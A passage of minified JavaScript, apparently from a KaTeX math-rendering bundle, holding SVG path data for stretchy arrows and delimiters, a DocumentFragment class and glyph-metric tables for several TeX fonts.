6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8 + 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5 +-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95 +-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 241v40h399900v-40z`,rightharpoondownplus:`M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8 + 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 + 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3 +-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z +m0-194v40h400000v-40zm0 0v40h400000v-40z`,righthook:`M399859 241c-764 0 0 0 0 0 40-3.3 68.7-15.7 86-37 10-12 15-25.3 + 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5-23-17.3-1.3-26-8-26-20 0 +-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21 16.7 14 11.2 21 33.5 21 + 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z M0 281v-40h399859v40z`,rightlinesegment:`M399960 241 V94 h40 V428 h-40 V281 H0 v-40z +M399960 241 V94 h40 V428 h-40 V281 H0 v-40z`,rightToFrom:`M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23 + 1 0 1.3 5.3 13.7 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32 +-52 65.7-70 101-10.7 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142 +-167z M100 147v40h399900v-40zM0 341v40h399900v-40z`,twoheadleftarrow:`M0 167c68 40 + 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69 +-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3 +-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19 +-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101 + 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z`,twoheadrightarrow:`M400000 167 +c-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3 + 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42 + 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333 +-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70 + 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z`,tilde1:`M200 55.538c-77 0-168 73.953-177 73.953-3 0-7 +-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0 + 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0 + 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128 +-68.267.847-113-73.952-191-73.952z`,tilde2:`M344 55.266c-142 0-300.638 81.316-311.5 86.418 +-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9 + 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114 +c1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751 + 181.476 676 181.476c-149 0-189-126.21-332-126.21z`,tilde3:`M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457 +-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0 + 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697 + 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696 + -338 0-409-156.573-744-156.573z`,tilde4:`M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345 +-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409 + 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9 + 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409 + -175.236-744-175.236z`,vec:`M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5 +3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11 +10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63 +-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1 +-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59 +H213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359 +c-16-25.333-24-45-24-59z`,widehat1:`M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22 +c-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z`,widehat2:`M1181 0h2l1171 176c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widehat3:`M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widehat4:`M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widecheck1:`M529,159h5l519,-115c5,-1,9,-5,9,-10c0,-1,-1,-2,-1,-3l-4,-22c-1, +-5,-5,-9,-11,-9h-2l-512,92l-513,-92h-2c-5,0,-9,4,-11,9l-5,22c-1,6,2,12,8,13z`,widecheck2:`M1181,220h2l1171,-176c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,153l-1167,-153h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,widecheck3:`M1181,280h2l1171,-236c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,213l-1167,-213h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,widecheck4:`M1181,340h2l1171,-296c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,273l-1167,-273h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,baraboveleftarrow:`M400000 620h-399890l3 -3c68.7 -52.7 113.7 -120 135 -202 +c4 -14.7 6 -23 6 -25c0 -7.3 -7 -11 -21 -11c-8 0 -13.2 0.8 -15.5 2.5 +c-2.3 1.7 -4.2 5.8 -5.5 12.5c-1.3 4.7 -2.7 10.3 -4 17c-12 48.7 -34.8 92 -68.5 130 +s-74.2 66.3 -121.5 85c-10 4 -16 7.7 -18 11c0 8.7 6 14.3 18 17c47.3 18.7 87.8 47 +121.5 85s56.5 81.3 68.5 130c0.7 2 1.3 5 2 9s1.2 6.7 1.5 8c0.3 1.3 1 3.3 2 6 +s2.2 4.5 3.5 5.5c1.3 1 3.3 1.8 6 2.5s6 1 10 1c14 0 21 -3.7 21 -11 +c0 -2 -2 -10.3 -6 -25c-20 -79.3 -65 -146.7 -135 -202l-3 -3h399890z +M100 620v40h399900v-40z M0 241v40h399900v-40zM0 241v40h399900v-40z`,rightarrowabovebar:`M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32 +-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 +13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39 +-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5 +-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5 +-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 +151.7 139 205zm96 379h399894v40H0zm0 0h399904v40H0z`,baraboveshortleftharpoon:`M507,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11 +c1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17 +c2,0.7,5,1,9,1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21 +c-32,-87.3,-82.7,-157.7,-152,-211c0,0,-3,-3,-3,-3l399351,0l0,-40 +c-398570,0,-399437,0,-399437,0z M593 435 v40 H399500 v-40z +M0 281 v-40 H399908 v40z M0 281 v-40 H399908 v40z`,rightharpoonaboveshortbar:`M0,241 l0,40c399126,0,399993,0,399993,0 +c4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199, +-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6 +c-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z +M0 241 v40 H399908 v-40z M0 475 v-40 H399500 v40z M0 475 v-40 H399500 v40z`,shortbaraboveleftharpoon:`M7,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11 +c1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17c2,0.7,5,1,9, +1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21c-32,-87.3,-82.7,-157.7, +-152,-211c0,0,-3,-3,-3,-3l399907,0l0,-40c-399126,0,-399993,0,-399993,0z +M93 435 v40 H400000 v-40z M500 241 v40 H400000 v-40z M500 241 v40 H400000 v-40z`,shortrightharpoonabovebar:`M53,241l0,40c398570,0,399437,0,399437,0 +c4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199, +-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6 +c-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z +M500 241 v40 H399408 v-40z M500 435 v40 H400000 v-40z`},vTe=o(function(e,r){switch(e){case"lbrack":return"M403 1759 V84 H666 V0 H319 V1759 v"+r+` v1759 h347 v-84 +H403z M403 1759 V0 H319 V1759 v`+r+" v1759 h84z";case"rbrack":return"M347 1759 V0 H0 V84 H263 V1759 v"+r+` v1759 H0 v84 H347z +M347 1759 V0 H263 V1759 v`+r+" v1759 h84z";case"vert":return"M145 15 v585 v"+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v`+r+" v585 h43z";case"doublevert":return"M145 15 v585 v"+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v`+r+` v585 h43z +M367 15 v585 v`+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M410 15 H367 v585 v`+r+" v585 h43z";case"lfloor":return"M319 602 V0 H403 V602 v"+r+` v1715 h263 v84 H319z +MM319 602 V0 H403 V602 v`+r+" v1715 H319z";case"rfloor":return"M319 602 V0 H403 V602 v"+r+` v1799 H0 v-84 H319z +MM319 602 V0 H403 V602 v`+r+" v1715 H319z";case"lceil":return"M403 1759 V84 H666 V0 H319 V1759 v"+r+` v602 h84z +M403 1759 V0 H319 V1759 v`+r+" v602 h84z";case"rceil":return"M347 1759 V0 H0 V84 H263 V1759 v"+r+` v602 h84z +M347 1759 V0 h-84 V1759 v`+r+" v602 h84z";case"lparen":return`M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1 +c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349, +-36,557 l0,`+(r+84)+`c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210, +949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9 +c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5, +-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189 +l0,-`+(r+92)+`c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3, +-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z`;case"rparen":return`M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3, +63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5 +c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,`+(r+9)+` +c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664 +c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11 +c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17 +c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558 +l0,-`+(r+144)+`c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7, +-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z`;default:throw new Error("Unknown stretchy delimiter.")}},"tallDelim"),hd=class{static{o(this,"DocumentFragment")}constructor(e){this.children=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.children=e,this.classes=[],this.height=0,this.depth=0,this.maxFontSize=0,this.style={}}hasClass(e){return er.contains(this.classes,e)}toNode(){for(var e=document.createDocumentFragment(),r=0;rr.toText(),"toText");return this.children.map(e).join("")}},Ql={"AMS-Regular":{32:[0,0,0,0,.25],65:[0,.68889,0,0,.72222],66:[0,.68889,0,0,.66667],67:[0,.68889,0,0,.72222],68:[0,.68889,0,0,.72222],69:[0,.68889,0,0,.66667],70:[0,.68889,0,0,.61111],71:[0,.68889,0,0,.77778],72:[0,.68889,0,0,.77778],73:[0,.68889,0,0,.38889],74:[.16667,.68889,0,0,.5],75:[0,.68889,0,0,.77778],76:[0,.68889,0,0,.66667],77:[0,.68889,0,0,.94445],78:[0,.68889,0,0,.72222],79:[.16667,.68889,0,0,.77778],80:[0,.68889,0,0,.61111],81:[.16667,.68889,0,0,.77778],82:[0,.68889,0,0,.72222],83:[0,.68889,0,0,.55556],84:[0,.68889,0,0,.66667],85:[0,.68889,0,0,.72222],86:[0,.68889,0,0,.72222],87:[0,.68889,0,0,1],88:[0,.68889,0,0,.72222],89:[0,.68889,0,0,.72222],90:[0,.68889,0,0,.66667],107:[0,.68889,0,0,.55556],160:[0,0,0,0,.25],165:[0,.675,.025,0,.75],174:[.15559,.69224,0,0,.94666],240:[0,.68889,0,0,.55556],295:[0,.68889,0,0,.54028],710:[0,.825,0,0,2.33334],732:[0,.9,0,0,2.33334],770:[0,.825,0,0,2.33334],771:[0,.9,0,0,2.33334],989:[.08167,.58167,0,0,.77778],1008:[0,.43056,.04028,0,.66667],8245:[0,.54986,0,0,.275],8463:[0,.68889,0,0,.54028],8487:[0,.68889,0,0,.72222],8498:[0,.68889,0,0,.55556],8502:[0,.68889,0,0,.66667],8503:[0,.68889,0,0,.44445],8504:[0,.68889,0,0,.66667],8513:[0,.68889,0,0,.63889],8592:[-.03598,.46402,0,0,.5],8594:[-.03598,.46402,0,0,.5],8602:[-.13313,.36687,0,0,1],8603:[-.13313,.36687,0,0,1],8606:[.01354,.52239,0,0,1],8608:[.01354,.52239,0,0,1],8610:[.01354,.52239,0,0,1.11111],8611:[.01354,.52239,0,0,1.11111],8619:[0,.54986,0,0,1],8620:[0,.54986,0,0,1],8621:[-.13313,.37788,0,0,1.38889],8622:[-.13313,.36687,0,0,1],8624:[0,.69224,0,0,.5],8625:[0,.69224,0,0,.5],8630:[0,.43056,0,0,1],8631:[0,.43056,0,0,1],8634:[.08198,.58198,0,0,.77778],8635:[.08198,.58198,0,0,.77778],8638:[.19444,.69224,0,0,.41667],8639:[.19444,.69224,0,0,.41667],8642:[.19444,.69224,0,0,.41667],8643:[.19444,.69224,0,0,.41667],8644:[.1808,.675,0,0,1],8646:[.1808,.675,0,0,1],8647:[.1808,.675,0,0,1],8648:[.19444,.69224,0,0,.83334],8649:[.1808,.675,0,0,1],8650:[.19444,.69224,0,0,.83334],8651:[.01354,.52239,0,0,1],8652:[.01354,.52239,0,0,1],8653:[-.13313,.36687,0,0,1],8654:[-.13313,.36687,0,0,1],8655:[-.13313,.36687,0,0,1],8666:[.13667,.63667,0,0,1],8667:[.13667,.63667,0,0,1],8669:[-.13313,.37788,0,0,1],8672:[-.064,.437,0,0,1.334],8674:[-.064,.437,0,0,1.334],8705:[0,.825,0,0,.5],8708:[0,.68889,0,0,.55556],8709:[.08167,.58167,0,0,.77778],8717:[0,.43056,0,0,.42917],8722:[-.03598,.46402,0,0,.5],8724:[.08198,.69224,0,0,.77778],8726:[.08167,.58167,0,0,.77778],8733:[0,.69224,0,0,.77778],8736:[0,.69224,0,0,.72222],8737:[0,.69224,0,0,.72222],8738:[.03517,.52239,0,0,.72222],8739:[.08167,.58167,0,0,.22222],8740:[.25142,.74111,0,0,.27778],8741:[.08167,.58167,0,0,.38889],8742:[.25142,.74111,0,0,.5],8756:[0,.69224,0,0,.66667],8757:[0,.69224,0,0,.66667],8764:[-.13313,.36687,0,0,.77778],8765:[-.13313,.37788,0,0,.77778],8769:[-.13313,.36687,0,0,.77778],8770:[-.03625,.46375,0,0,.77778],8774:[.30274,.79383,0,0,.77778],8776:[-.01688,.48312,0,0,.77778],8778:[.08167,.58167,0,0,.77778],8782:[.06062,.54986,0,0,.77778],8783:[.06062,.54986,0,0,.77778],8785:[.08198,.58198,0,0,.77778],8786:[.08198,.58198,0,0,.77778],8787:[.08198,.58198,0,0,.77778],8790:[0,.69224,0,0,.77778],8791:[.22958,.72958,0,0,.77778],8796:[.08198,.91667,0,0,.77778],8806:[.25583,.75583,0,0,.77778],8807:[.25583,.75583,0,0,.77778],8808:[.25142,.75726,0,0,.77778],8809:[.25142,.75726,0,0,.77778],8812:[.25583,.75583,0,0,.5],8814:[.20576,.70576,0,0,.77778],8815:[.20576,.70576,0,0,.77778],8816:[.30274,.79383,0,0,.77778],8817:[.30274,.79383,0,0,.77778],8818:[.22958,.72958,0,0,.77778],8819:[.22958,.72958,0,0,.77778],8822:[.1808,.675,0,0,.77778],8823:[.1808,.675,0,0,.77778],8828:[.13667,.63667,0,0,.77778],8829:[.13667,.63667,0,0,.77778],8830:[.22958,.72958,0,0,.77778],8831:[.22958,.72958,0,0,.77778],8832:[.20576,.70576,0,0,.77778],8833:[.20576,.70576,0,0,.77778],8840:[.30274,.79383,0,0,.77778],8841:[.30274,.79383,0,0,.77778],8842:[.13597,.63597,0,0,.77778],8843:[.13597,.63597,0,0,.77778],8847:[.03517,.54986,0,0,.77778],8848:[.03517,.54986,0,0,.77778],8858:[.08198,.58198,0,0,.77778],8859:[.08198,.58198,0,0,.77778],8861:[.08198,.58198,0,0,.77778],8862:[0,.675,0,0,.77778],8863:[0,.675,0,0,.77778],8864:[0,.675,0,0,.77778],8865:[0,.675,0,0,.77778],8872:[0,.69224,0,0,.61111],8873:[0,.69224,0,0,.72222],8874:[0,.69224,0,0,.88889],8876:[0,.68889,0,0,.61111],8877:[0,.68889,0,0,.61111],8878:[0,.68889,0,0,.72222],8879:[0,.68889,0,0,.72222],8882:[.03517,.54986,0,0,.77778],8883:[.03517,.54986,0,0,.77778],8884:[.13667,.63667,0,0,.77778],8885:[.13667,.63667,0,0,.77778],8888:[0,.54986,0,0,1.11111],8890:[.19444,.43056,0,0,.55556],8891:[.19444,.69224,0,0,.61111],8892:[.19444,.69224,0,0,.61111],8901:[0,.54986,0,0,.27778],8903:[.08167,.58167,0,0,.77778],8905:[.08167,.58167,0,0,.77778],8906:[.08167,.58167,0,0,.77778],8907:[0,.69224,0,0,.77778],8908:[0,.69224,0,0,.77778],8909:[-.03598,.46402,0,0,.77778],8910:[0,.54986,0,0,.76042],8911:[0,.54986,0,0,.76042],8912:[.03517,.54986,0,0,.77778],8913:[.03517,.54986,0,0,.77778],8914:[0,.54986,0,0,.66667],8915:[0,.54986,0,0,.66667],8916:[0,.69224,0,0,.66667],8918:[.0391,.5391,0,0,.77778],8919:[.0391,.5391,0,0,.77778],8920:[.03517,.54986,0,0,1.33334],8921:[.03517,.54986,0,0,1.33334],8922:[.38569,.88569,0,0,.77778],8923:[.38569,.88569,0,0,.77778],8926:[.13667,.63667,0,0,.77778],8927:[.13667,.63667,0,0,.77778],8928:[.30274,.79383,0,0,.77778],8929:[.30274,.79383,0,0,.77778],8934:[.23222,.74111,0,0,.77778],8935:[.23222,.74111,0,0,.77778],8936:[.23222,.74111,0,0,.77778],8937:[.23222,.74111,0,0,.77778],8938:[.20576,.70576,0,0,.77778],8939:[.20576,.70576,0,0,.77778],8940:[.30274,.79383,0,0,.77778],8941:[.30274,.79383,0,0,.77778],8994:[.19444,.69224,0,0,.77778],8995:[.19444,.69224,0,0,.77778],9416:[.15559,.69224,0,0,.90222],9484:[0,.69224,0,0,.5],9488:[0,.69224,0,0,.5],9492:[0,.37788,0,0,.5],9496:[0,.37788,0,0,.5],9585:[.19444,.68889,0,0,.88889],9586:[.19444,.74111,0,0,.88889],9632:[0,.675,0,0,.77778],9633:[0,.675,0,0,.77778],9650:[0,.54986,0,0,.72222],9651:[0,.54986,0,0,.72222],9654:[.03517,.54986,0,0,.77778],9660:[0,.54986,0,0,.72222],9661:[0,.54986,0,0,.72222],9664:[.03517,.54986,0,0,.77778],9674:[.11111,.69224,0,0,.66667],9733:[.19444,.69224,0,0,.94445],10003:[0,.69224,0,0,.83334],10016:[0,.69224,0,0,.83334],10731:[.11111,.69224,0,0,.66667],10846:[.19444,.75583,0,0,.61111],10877:[.13667,.63667,0,0,.77778],10878:[.13667,.63667,0,0,.77778],10885:[.25583,.75583,0,0,.77778],10886:[.25583,.75583,0,0,.77778],10887:[.13597,.63597,0,0,.77778],10888:[.13597,.63597,0,0,.77778],10889:[.26167,.75726,0,0,.77778],10890:[.26167,.75726,0,0,.77778],10891:[.48256,.98256,0,0,.77778],10892:[.48256,.98256,0,0,.77778],10901:[.13667,.63667,0,0,.77778],10902:[.13667,.63667,0,0,.77778],10933:[.25142,.75726,0,0,.77778],10934:[.25142,.75726,0,0,.77778],10935:[.26167,.75726,0,0,.77778],10936:[.26167,.75726,0,0,.77778],10937:[.26167,.75726,0,0,.77778],10938:[.26167,.75726,0,0,.77778],10949:[.25583,.75583,0,0,.77778],10950:[.25583,.75583,0,0,.77778],10955:[.28481,.79383,0,0,.77778],10956:[.28481,.79383,0,0,.77778],57350:[.08167,.58167,0,0,.22222],57351:[.08167,.58167,0,0,.38889],57352:[.08167,.58167,0,0,.77778],57353:[0,.43056,.04028,0,.66667],57356:[.25142,.75726,0,0,.77778],57357:[.25142,.75726,0,0,.77778],57358:[.41951,.91951,0,0,.77778],57359:[.30274,.79383,0,0,.77778],57360:[.30274,.79383,0,0,.77778],57361:[.41951,.91951,0,0,.77778],57366:[.25142,.75726,0,0,.77778],57367:[.25142,.75726,0,0,.77778],57368:[.25142,.75726,0,0,.77778],57369:[.25142,.75726,0,0,.77778],57370:[.13597,.63597,0,0,.77778],57371:[.13597,.63597,0,0,.77778]},"Caligraphic-Regular":{32:[0,0,0,0,.25],65:[0,.68333,0,.19445,.79847],66:[0,.68333,.03041,.13889,.65681],67:[0,.68333,.05834,.13889,.52653],68:[0,.68333,.02778,.08334,.77139],69:[0,.68333,.08944,.11111,.52778],70:[0,.68333,.09931,.11111,.71875],71:[.09722,.68333,.0593,.11111,.59487],72:[0,.68333,.00965,.11111,.84452],73:[0,.68333,.07382,0,.54452],74:[.09722,.68333,.18472,.16667,.67778],75:[0,.68333,.01445,.05556,.76195],76:[0,.68333,0,.13889,.68972],77:[0,.68333,0,.13889,1.2009],78:[0,.68333,.14736,.08334,.82049],79:[0,.68333,.02778,.11111,.79611],80:[0,.68333,.08222,.08334,.69556],81:[.09722,.68333,0,.11111,.81667],82:[0,.68333,0,.08334,.8475],83:[0,.68333,.075,.13889,.60556],84:[0,.68333,.25417,0,.54464],85:[0,.68333,.09931,.08334,.62583],86:[0,.68333,.08222,0,.61278],87:[0,.68333,.08222,.08334,.98778],88:[0,.68333,.14643,.13889,.7133],89:[.09722,.68333,.08222,.08334,.66834],90:[0,.68333,.07944,.13889,.72473],160:[0,0,0,0,.25]},"Fraktur-Regular":{32:[0,0,0,0,.25],33:[0,.69141,0,0,.29574],34:[0,.69141,0,0,.21471],38:[0,.69141,0,0,.73786],39:[0,.69141,0,0,.21201],40:[.24982,.74947,0,0,.38865],41:[.24982,.74947,0,0,.38865],42:[0,.62119,0,0,.27764],43:[.08319,.58283,0,0,.75623],44:[0,.10803,0,0,.27764],45:[.08319,.58283,0,0,.75623],46:[0,.10803,0,0,.27764],47:[.24982,.74947,0,0,.50181],48:[0,.47534,0,0,.50181],49:[0,.47534,0,0,.50181],50:[0,.47534,0,0,.50181],51:[.18906,.47534,0,0,.50181],52:[.18906,.47534,0,0,.50181],53:[.18906,.47534,0,0,.50181],54:[0,.69141,0,0,.50181],55:[.18906,.47534,0,0,.50181],56:[0,.69141,0,0,.50181],57:[.18906,.47534,0,0,.50181],58:[0,.47534,0,0,.21606],59:[.12604,.47534,0,0,.21606],61:[-.13099,.36866,0,0,.75623],63:[0,.69141,0,0,.36245],65:[0,.69141,0,0,.7176],66:[0,.69141,0,0,.88397],67:[0,.69141,0,0,.61254],68:[0,.69141,0,0,.83158],69:[0,.69141,0,0,.66278],70:[.12604,.69141,0,0,.61119],71:[0,.69141,0,0,.78539],72:[.06302,.69141,0,0,.7203],73:[0,.69141,0,0,.55448],74:[.12604,.69141,0,0,.55231],75:[0,.69141,0,0,.66845],76:[0,.69141,0,0,.66602],77:[0,.69141,0,0,1.04953],78:[0,.69141,0,0,.83212],79:[0,.69141,0,0,.82699],80:[.18906,.69141,0,0,.82753],81:[.03781,.69141,0,0,.82699],82:[0,.69141,0,0,.82807],83:[0,.69141,0,0,.82861],84:[0,.69141,0,0,.66899],85:[0,.69141,0,0,.64576],86:[0,.69141,0,0,.83131],87:[0,.69141,0,0,1.04602],88:[0,.69141,0,0,.71922],89:[.18906,.69141,0,0,.83293],90:[.12604,.69141,0,0,.60201],91:[.24982,.74947,0,0,.27764],93:[.24982,.74947,0,0,.27764],94:[0,.69141,0,0,.49965],97:[0,.47534,0,0,.50046],98:[0,.69141,0,0,.51315],99:[0,.47534,0,0,.38946],100:[0,.62119,0,0,.49857],101:[0,.47534,0,0,.40053],102:[.18906,.69141,0,0,.32626],103:[.18906,.47534,0,0,.5037],104:[.18906,.69141,0,0,.52126],105:[0,.69141,0,0,.27899],106:[0,.69141,0,0,.28088],107:[0,.69141,0,0,.38946],108:[0,.69141,0,0,.27953],109:[0,.47534,0,0,.76676],110:[0,.47534,0,0,.52666],111:[0,.47534,0,0,.48885],112:[.18906,.52396,0,0,.50046],113:[.18906,.47534,0,0,.48912],114:[0,.47534,0,0,.38919],115:[0,.47534,0,0,.44266],116:[0,.62119,0,0,.33301],117:[0,.47534,0,0,.5172],118:[0,.52396,0,0,.5118],119:[0,.52396,0,0,.77351],120:[.18906,.47534,0,0,.38865],121:[.18906,.47534,0,0,.49884],122:[.18906,.47534,0,0,.39054],160:[0,0,0,0,.25],8216:[0,.69141,0,0,.21471],8217:[0,.69141,0,0,.21471],58112:[0,.62119,0,0,.49749],58113:[0,.62119,0,0,.4983],58114:[.18906,.69141,0,0,.33328],58115:[.18906,.69141,0,0,.32923],58116:[.18906,.47534,0,0,.50343],58117:[0,.69141,0,0,.33301],58118:[0,.62119,0,0,.33409],58119:[0,.47534,0,0,.50073]},"Main-Bold":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.35],34:[0,.69444,0,0,.60278],35:[.19444